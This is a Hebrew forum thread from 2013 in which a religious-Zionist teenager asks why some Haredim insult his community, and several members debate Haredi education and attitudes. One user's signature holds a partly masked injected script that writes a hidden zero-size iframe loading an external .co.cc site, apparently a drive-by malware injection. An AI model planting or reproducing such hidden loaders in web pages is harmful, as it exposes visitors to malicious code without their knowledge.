| נשלח ב-19/6/2013 22:30 |
 |
| |
שאלה לקהל הפורום
שלום רב.
לפני שאתחיל, אציג את עצמי:
אני מוטי, מירושלים, בן כמעט 16, מחר מסיים את כיתה י' בישיבה תיכונית, ואם זה משנה אני דתי לאומי.
אני שמח לומר שמהרגע שנכנסתי לכאן אני מעריך אתכם. יש כאן רמת כתיבה גבוהה מאד ואתם מאד מאד מעניינים.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
אחרי ויכוחים רבים בפורומים אחרים אם אנשים "חילוניים", ואחרי ויכוחים רבים ותובנות ומסקנות לגבי בעיית הנאצה בין הציבורים הגעתי למסקנה שאין דבר יותר חשוב מלהכיר את העומד לפניך. מאחר ואין לי חברים חרדים ואינני גדל בסביבה חרדית (למעט השכונה בה אני גר אבל אין לזה כמעט משמעות) אני "נאלץ" לבוא לכאן.
השאלה שלי נורא פשוטה - התשובה מסובכת מאד.
למה אני שומע פעמים רבות מידי דברי נאצה כלפי הציבור הדתי לאומי, עד כדי קריאות "נאצים","שאבעס","גוי" והשיא היה כשעמדה לידי אמא חרדיה ואמרה לילד שלה שאני וחברים שלי גוים (לא קיללנו ולא דיברנו בגסות)... אני סמוך ובטוח שלא מדובר בכל הציבור אלא שיש כאן מיעוטים אבל אני שומע יותר מידי פעמים דיבורים כאלה. האם זה מה שאתם חושבים עלינו? שאנחנו גוים? שאין לנו תורה בכלל? או שמא זה דפוס התנהגות של מיעוטים אצלכם? אשמח לתשובה, קשה לי מאד עם הנושא הזה בעיקר כי אנחנו בתור ציבור נמצאים בעמוד התווך בין החילונים לחרדים; לחרדים אנו מסבירים את הדעה של החילונים, לחילונים את הדעה של החרדים והחילונים בטוחים שאנחנו ערימה של פנאטים "נערי גבעות" והחרדים חושבים שאנחנו גוים (שוב, לא כולם!) וזה נורא! גם אם לא תענו, אני רוצה שתזכרו שגם לנו הדתיים הלאומיים יש מוח ואנחנו משתדלים מאד לעבוד את הקב"ה, לשמור את תורתו ולקיים את מצוותיו.
ערב טוב!
 |
|
|
|
|
| נשלח ב-19/6/2013 22:46 |
|
| |
מוטי היקר
ברוך הבא אל הפורום!
השאלה שהעלית היא לא ממש מענינו של הפורום. מפני שאם קראת, ראית שדנים בו בשאלות בין תורה למדע וכיו"ב. השאלה שלך היא סוציולוגית. מדוע יש בני אדם שנוהגים כפי שהם נוהגים.
עם זאת, פטור בלא כלום אי אפשר, כי אני סבור שזו שאלה חשובה, גם אם היא לא מתאימה לנו, לפורום.
וזה ההסבר. יש אנשים שהם לא חכמים ואפילו בורים, ויש ביניהם אנשים גסים שנהנים לבזות את זולתם.
יש שיטות בפילוסופיה (ואולי גם בפסיכולוגיה) שבה דנים על "האחר". יש כאלו שהגדרת העצמי שלהם מבוססת גם על כך ש"אני לא הוא".
(על זה אפשר להמשיל את דברי הרבי מקוצק: אם אני אני ואתה אתה, אז אני אני ואתה אתה, אבל אם אני זה אני כי אתה זה אתה, אז אני לא אני ואתה לא אתה).
האנשים שהכרת הם כנראה בני אדם שאין להם הרבה משל עצמם, לא בתור יהודים שומרי מצוות, לא בתורה ולא בדרך ארץ.
הם מחזקים את עצמם במחשבה שהם "לא משהו אחר", כגון דתיים חובשי כיפות סרוגות, ועל זה נבנה הערך העצמי שלהם, על ה"לא כמו ההוא", על הניגוד ממה שהם מגדירים כ"זר" למרות שאתה ואני שנינו יהודים עובדי ה' וכולנו עם אחד.
כל מה שאני יכול ללמד עליהם זכות הוא שאילולא היו גדלים בחברה החרדית, והיו נשארים עם המידות הרעות שלהם, היו יוצאים גרועים עוד יותר. התורה, גם במינון הנמוך שזכו לה, עידנה אותם.
כדאי לנו לזכור בכלל את העקרון של ענוה, כפי שהוא בא לידי ביטוי באגרת המיוחסת לרמב"ן.
באיגרת זו כותב המחבר לבנו שתמיד יראה את כל בני האדם כטובים ממנו. אם הם חכמים ממנו, הוא חייב בכבודם. ואם הם פחותים ממנו, אזי ידע שהם שוגגים ואילו הוא נתבע יותר בשל תובנותיו.
כך גם נכון לדעתי לגביך. אתה בעל כשרונות וזכית להוולד בתקופה מעניינת. עשה שימוש ביכולותיך, ביראת השמים שלך, כדי לתרום לעצמך ולמשפחתך ולעמך.
ואל תסתכל על אלו שלא זכו לתובנות וליראת השמים ולחכמה שלך. ראוי לרחם עליהם ולקוות שה' יחזירם בתשובה.
אתה מוזמן כמובן להמשיך לעיין ולהעלות דברים משלך בפורום. (כדאי גם לעיין באשכול למשתתפים חדשים).
____________נוסף משפט ששכחתי קודם..._____
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 19/06/2013 22:51:06
|
|
|
|
|
| נשלח ב-19/6/2013 22:59 |
|
| |
"כל מה שאני יכול ללמד עליהם זכות הוא שאילולא היו גדלים בחברה החרדית, והיו נשארים עם המידות הרעות שלהם, היו יוצאים גרועים עוד יותר. התורה, גם במינון הנמוך שזכו לה, עידנה אותם."
מה זה אמור להביע?
|
|
|
|
| נשלח ב-19/6/2013 23:27 |
|
| |
לינקולן
סליחה, חשבתי שבארתי את הדבר כראוי. אנסה שוב.
למרות שכל בני האדם נבראו בצלם אלוקים, הם לא נבראו בכשרונות שוים. יש חכמים ויש שלא, יש עדינים ורגישים ויש שלא. יש שהם מתחשבים מטבעם באחרים, או שחונכו לכך, ויש להפך.
אותם אלו שגידפו את מוטי וחבריו אינם נמנים עם בני התורה העדינים שהתנהגותם היא מקדשת את השם, ואין מעשיהם לפי ההלכה.
מסתבר שדיבוריהם נובעים ממה שכתבתי, כלומר מזה שהם מחזקים את עצמם בכך שהם אינם כמו "ההוא" כאשר "ההוא" הוא בעצם יהודי כשר ושומר מצוות, אלא שיש לו כפה בצבע אחר (ואולי גם עוד בגדים בצבע אחר).
כיון שהם אינם רגישים ואינם עדינים, יש מקום לשאול מה היה קורה אילו לא גדלו בחברה שבה מרימים על נס את האיפוק ואת השליטה העצמית, את הציות להלכה ואת ההימנעות מאלימות. לפחות באידיאל.
סבורני שכיון שבחברה החרדית לכל גווניה יש הסתייגות מאלימות, לכן הם פרקו את נטייתם זו וסיפקו את הצורך הזה שלהם באופן עדין יחסית, רק בדיבורים.
לכך התכוונתי, ואני מקוה שכעת הבהרתי את עצמי יותר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-19/6/2013 23:31 |
|
| |
לא נעים להיות המסבירן של דעה שאני מתנגד לה ואף סולד ממנה. אבל אם הינך מבקש מימוני להבין –אז תשובתך אינה נכונה בהחלט. (אולי גם סוג של חוסר הכרה באחרות הזו שמנוגדת לך עקרונית) התתפיסה הקיצונית הירושלמית מזהה את הפתיחות למודרניות 'כגויי'. את חוסר החרדה לקיום מצוות 'כגויי'. ואת עיקר העיקרים את ההשקפה הציונית כמנוגדת לתורה.
|
|
|
|
| נשלח ב-19/6/2013 23:40 |
|
| |
זאב
תודה.
כלומר, מה שאני תליתי ברמה ירודה של הצועקים כבני אדם, אתה תולה בחינוך (או ליתר דיוק "חינוך") שהם קיבלו.
מוטי
לפי זאב יש לימוד זכות גדול מאד על הצועקים והחצופים.
הם תינוקות שנשבו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-20/6/2013 00:01 |
|
| |
"אותם אלו שגידפו את מוטי וחבריו אינם נמנים עם בני התורה העדינים שהתנהגותם היא מקדשת את השם, ואין מעשיהם לפי ההלכה."
בני התורה העדינים כפי שאתה קורא להם, גדלים על חוסר סובלנות כלפי אנשים שהתחנכו שונה מהם, זה משהו בסיסי בחינוך הלא פלורליסטי ששפכו עליהם בדליים. ראה מה קורה בבית שמש. ההבדל בין חילונים שמגדפים לאנשים שגידפו את מוטי, היא שאלו האחרונים תופסים את מעשיהם כפסגת הנורמטיביות. כ'ערכיים' ההולכים ברוח החינוך המעוות (סליחה) שקיבלו (הגיוני להניח)
"כיון שהם אינם רגישים ואינם עדינים, יש מקום לשאול מה היה קורה אילו לא גדלו בחברה שבה מרימים על נס את האיפוק ואת השליטה העצמית, את הציות להלכה ואת ההימנעות מאלימות. לפחות באידיאל."
'איפוק' ו'שליטה עצמית', הם דרך להשגת סדר חברתי ויחסי אנוש תקינים בין חברתיים ולא רק תוך חברתיים.החברה הזו זו שתחתיה לא מחנכים לדברי לאיפוק ושליטה עצמית עם כל החולשות שלה היא פלורליסטית. והנורמטיביים שהם הרוב, לא מאמינים באידאלים של כפיה. (משהו שהוא אינהרנטי במהותו להלכה, מעניין מה יקרה כשדתיים וחרדים יוכלו לכפות את עצמם על המיעוט החילוני, אשמח אם מישהו ישכנע אותי שחרדים וחילונים יוכלו לחיות זה לצד זה ללא חשש של נסיון כפיה על ידי צד אחד - אני לא בטוח)
באופן כללי דבריך שמתייחסים לאוכלוסיה הכללית, הם הכללה שכנראה נועדה לצרכים דידקטיים פנים חרדיים. אשמח אם הכללותי שלי עצמי, לא נכונות. אני לא בטוח.
תוקן על ידי לינקiלן ב- 20/06/2013 00:17:10
|
|
|
|
|
| נשלח ב-20/6/2013 12:44 |
|
| |
מיימוני,
באמת לפעמים אני נפעם מההכחשה אצלך. בלי להיכנס לשאלה האם חרדיות זה טוב או רע, לתאר את החינוך והתרבות החרדית כמשהו שמוביל לאיפוק, שליטה עצמית, הימנעות מאלימות וכדומה, זה פשוט הזוי.
מוטי, בוא אני אנסה להסביר לך באופן מעט יותר ישיר.
חינוך חרדי במהותו בנוי על שלילת האחר, על בניית זהות שלי דרך הגחכת האחר וזלזול מוחלט בו (שמלווה פעמים רבות ברגשי נחיתות מודחקים. מי שיש לו ביטחון עצמי אמיתי, בד"כ לא נוהג כך כלפי אחרים). קשה מאד להצדיק דרך מופרכת כמו הדרך החרדית בלי לצייר תמונה מעוותת של העולם, שחור-לבן (כשברור מי השחור ומי הלבן, וזה הפוך מצבע הבגדים כמובן). הדברים מבוססים על פחד נורא מפני החוץ, שיסודו בחוסר ביטחון מובנה.
חלק ניכר מהאנשים הללו כלל אינם מכירים את מה ומי שהם משמיצים (אלא דרך דפי העיתונות המצונזרת והמוטה שהם קוראים), וזאת מפני שמנהיגיהם ועסקניהם מפחדים שכשהם יכירו את הסובב האידיאולוגיה המעוותת הזאת תתמוטט כבניין קלפים. לכן הדברים באמת נאמרים בדרך כלל מתוך חוסר היכרות.
ואכן, יש בזה משום לימוד זכות על המדברים, שכן הם פשוט לא מכירים (או מכירים באופן מעוות). אבל זה עצמו הוא לימוד חובה על החברה בה הם גדלים ועל החינוך המעוות שהם מקבלים.
ונקודה אחרונה שמבוססת על המנגינה של דבריך. אתה בחור צעיר. אנשים צעירים נוטים להתרשם מהתנהגות כזאת, ולפתח רגש נחיתות ותלות באחר. לכן חשוב להם (=לך) לקבל הכרה מהאחר השחצן והבור, ולהתחנן שלא יזלזל בהם.
אני מציע לך במקום לפנות אליהם בתחנונים, לפתח אצלך את הביטחון בדרכך, ולהבין שאתה טוב מהם ומהמונם אלפי מונים. כך לא תצטרך את ההכרה שלהם בך.
אגב, רק כדי למנוע אי הבנה: לא הייתי מציע לך לנקוט בדרכם, כלומר לבנות את עצמך על שלילת האחר (=הם). כוונתי היא שתבנה את זהותך ואת דרכך בעצמך, קח את הטוב בכל מקום שאתה מוצא אותו (גם אצלם יש כמה דברים טובים), ומתוך כך ממילא לא תיזקק להכרתו של האחר.
|
|
|
|
|
| נשלח ב-20/6/2013 12:56 |
|
| |
|
|
|
|
| נשלח ב-20/6/2013 13:14 |
|
| |
| mdabraham כתב: |  | מיימוני,
באמת לפעמים אני נפעם מההכחשה אצלך. בלי להיכנס לשאלה האם חרדיות זה טוב או רע, לתאר את החינוך והתרבות החרדית כמשהו שמוביל לאיפוק, שליטה עצמית, הימנעות מאלימות וכדומה, זה פשוט הזוי.
מוטי, בוא אני אנסה להסביר לך באופן מעט יותר ישיר.
חינוך חרדי במהותו בנוי על שלילת האחר, על בניית זהות שלי דרך הגחכת האחר וזלזול מוחלט בו (שמלווה פעמים רבות ברגשי נחיתות מודחקים. מי שיש לו ביטחון עצמי אמיתי, בד"כ לא נוהג כך כלפי אחרים). קשה מאד להצדיק דרך מופרכת כמו הדרך החרדית בלי לצייר תמונה מעוותת של העולם, שחור-לבן (כשברור מי השחור ומי הלבן, וזה הפוך מצבע הבגדים כמובן). הדברים מבוססים על פחד נורא מפני החוץ, שיסודו בחוסר ביטחון מובנה.
חלק ניכר מהאנשים הללו כלל אינם מכירים את מה ומי שהם משמיצים (אלא דרך דפי העיתונות המצונזרת והמוטה שהם קוראים), וזאת מפני שמנהיגיהם ועסקניהם מפחדים שכשהם יכירו את הסובב האידיאולוגיה המעוותת הזאת תתמוטט כבניין קלפים. לכן הדברים באמת נאמרים בדרך כלל מתוך חוסר היכרות.
ואכן, יש בזה משום לימוד זכות על המדברים, שכן הם פשוט לא מכירים (או מכירים באופן מעוות). אבל זה עצמו הוא לימוד חובה על החברה בה הם גדלים ועל החינוך המעוות שהם מקבלים.
ונקודה אחרונה שמבוססת על המנגינה של דבריך. אתה בחור צעיר. אנשים צעירים נוטים להתרשם מהתנהגות כזאת, ולפתח רגש נחיתות ותלות באחר. לכן חשוב להם (=לך) לקבל הכרה מהאחר השחצן והבור, ולהתחנן שלא יזלזל בהם.
אני מציע לך במקום לפנות אליהם בתחנונים, לפתח אצלך את הביטחון בדרכך, ולהבין שאתה טוב מהם ומהמונם אלפי מונים. כך לא תצטרך את ההכרה שלהם בך.
אגב, רק כדי למנוע אי הבנה: לא הייתי מציע לך לנקוט בדרכם, כלומר לבנות את עצמך על שלילת האחר (=הם). כוונתי היא שתבנה את זהותך ואת דרכך בעצמך, קח את הטוב בכל מקום שאתה מוצא אותו (גם אצלם יש כמה דברים טובים), ומתוך כך ממילא לא תיזקק להכרתו של האחר.
|
|
אולי כדאי לסייג את התקיפה הנ"ל ולמקדה על חלקים קולניים מהציבור החרדי.
אני למשל רואה את עצמי כחרדי, ולא מוצא בעצמי ובחלק רחב מהסובבים אותי את הפגמים החמורים שהצגת. זה אכן נכון שאני רואה את הפגמים הנ"ל בחלקים נרחבים מהציבור החרדי, וגם בחלק מהסובבים אותי, כמו שאני עצמי טורח לבקרם בפורום כאן ולאחרונה אף בפורום אגודה אחת, וכן בעולם הממשי ולא רק בעולם הוירטואלי. אבל הכללה גורפת זו ראויה לסיוג.
גם אם תאמר שאינני חרדי מכח אותן ביקורת שיש לי, אך ישנם הסבורים שביקורת אלו ודומיהן לא מהוות שלילת החרדיות של המבקר. כמו שכבר התדיינו באשכול זה:
http://www.bhol.co.il/forums/topic.asp?topic_id=3004134&forum_id=1364
תוקן על ידי דה_וינצי2 ב- 20/06/2013 13:15:50
|
|
|
|
| נשלח ב-20/6/2013 13:36 |
|
| |
דה וינצ'י,
דוק בדבריי. לא אמרתי שזה מאפיין חרדים אלא שהאמירה שתרבות וחינוך חרדיים מונעת את זה היא הזויה. כלומר יש חרדים שאינם כאלה, כמו שיש אחרים שאינם כאלה. אבל לא החרדיות היא שעשתה זאת לגביהם. הם כאלה למרות החרדיות ולא בגללה. לכן דברי מיימוני הם הזויים, ובו בזמן אתה בהחלט צודק. לא קרב זה אל זה.
|
|
|
|
| נשלח ב-20/6/2013 14:19 |
|
| |
מיכי, דה וינצ'י וכולם
אנסה שוב להסביר את עצמי.
יש כאן שני נושאים, כפי שהעיר דה וינצ'י:
א. החינוך הרשמי. למה מחנכים, לאיזו תפיסת עולם.
ב. איך מתנהגים המתחנכים.
***
א. החינוך
לגבי א, מיכי טוען שהחינוך מבוסס, בין השאר, על שלילת האחר. אני מסכים בהחלט שהחינוך אצלנו מבוסס גם, לצערי, על הסתגרות, יש בזה מן האמת.
אך זה לא ממצה כל מה שיש בחינוך החרדי. יש אצלנו גם הרבה איפוק, הרבה עבודה על המידות. יש סיפורים מכוננים על גדולי תורה ששתקו, שלא ענו למחרפיהם, שהאירו פנים גם במקום שלא זה היה היחס הראשוני אליהם.
דוגמא: הלל, אבי הגישה של קבלת האחר במאור פנים גם כאשר הוא בא לשאול שאלות סרק ולהטריד על מנת להקניט. ("שאלה גדולה שאלת בני" - זו המצאה שלו, לא של הרב זילברשטיין ולא שלי, סמיילי).
יש גם דוגמאות הפוכות. יש סיפורים מכוננים שמציגים את הרב הפיקח שמתווכח עם החילוני (או המזרחיסט?) וגובר עליו בטיעונים שאינם מתיימרים להיות אמיתיים, שמטשטשים את השאלות האמיתיות ומתחמקים מהן. חבל לי להזכיר כאלו גישות. אני מכיר אותן יותר מדי וליבי דוה עליהן, ועל ההשפעה שיש לפירסומים כאלו על ילדי.
אבל יש מזה ויש מזה. כמו כן, בסיפורים אלו אין הרב רודף אחרי החילונים כדי להקניט אותם ולזלזל בהם. להפך, אם נתקלים ב"זר" בסביבה שבה אין איום, הרעיון הוא להתנהג כלפיו באופן שיחולל קידוש השם, כלומר שהזר יגיע למסקנה שכמה טוב ללמוד תורה כי כך מתנהגים בזכותה.
הדוגמא שסיפר עליה מוטי אינה מציגה את המתחנכים בחינוך החרדי באופן כזה. האם זה בגלל מה שהם או בגלל האידיאולוגיה שהוקנתה להם?
ב. המתחנכים
כפי שכתבתי, יש טיפוסים של בני אדם. אפילו בפורום שלנו אפשר לראות כאלו שיגיבו בתוקפנות ובעוקצנות, ויש כאלו שישתדלו להאיר פנים ולענות בנחת ובצורה ענינית גם למי שתוקף.
אפשר לומר שהפורום שלנו מושך אליו בדרך כלל את הטובים בחברה החרדית (וכמובן יש שמגיעים ממחוזות אחרים, וגם הם ראויים לשבח), אבל אם גם בינינו יש נטיות לב להגיב בעוקצנות, מה יש לומר על אלו שלא נחנו בכישורים אינטלקטואליים, בצמאון לדעת ופתיחות, ובאהבת האמת ובמוכנות להודות בה?
***
אילולא הייתי חושש מפוליטיזציה הייתי מוסיף אפשרות ביאור לסיפור העגום של מוטי. אולי זו תולדה של המצב שנוצר מאז הוקמה קואליציה של "הבית היהודי" עם לפיד. בעינים חרדיות, וכך זה מוצג כמדומה בתקשורת אצלנו, "הבית היהודי" הוא פסול כי הוא הצטרף למי שמוצג כשונא ישראל. וכנראה כל מי שנחשד בהצבעה למפלגה של בנט או שנראה כמוהו נתפס כאויב. גם אם זה לא בצדק כלל. ושוב, זה הסבר חברתי פוליטי, ולא הזכרתיו אלא מפני שאני חושש שהוא נכון.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-20/6/2013 14:51 |
|
| |
מיימוני
אתחיל מהסוף
בחייאת - מה היה לפני הקואליציה?
ולגבי א. האם אי האלימות נבעה מחוסר יכולת או מחוסר רצון, הלא גם החזו"א המפורסם על תינוק שנשבה נשמע כדיעבד מוחלט, הלוואי והיינו זוכים להשגחה גלויה ומוריגים אותם.
|
|
|
|
| נשלח ב-20/6/2013 15:38 |
|
| |
מספיק לקרוא עיתונים חרדיים לו כתבו ככה בעיתונים חילוניים על חרדים היינו צועקים מסוף העולם (הזה או הבא?) ועד סופו ובצדק אבל לנו מותר להשמיץ ולכתוב ולדבר עליהם בשפה בזויה משמיצה כמעט מקללת ונוטלת ערך (תרתי משמע) כי הם עגלה ריקה ותינוקות שנשבו בכלל כפיים לנו ויפה מצידנו שאיננו מורידים אותם ולא מעלים ואידך זיל גמור
|
|
|
|
|
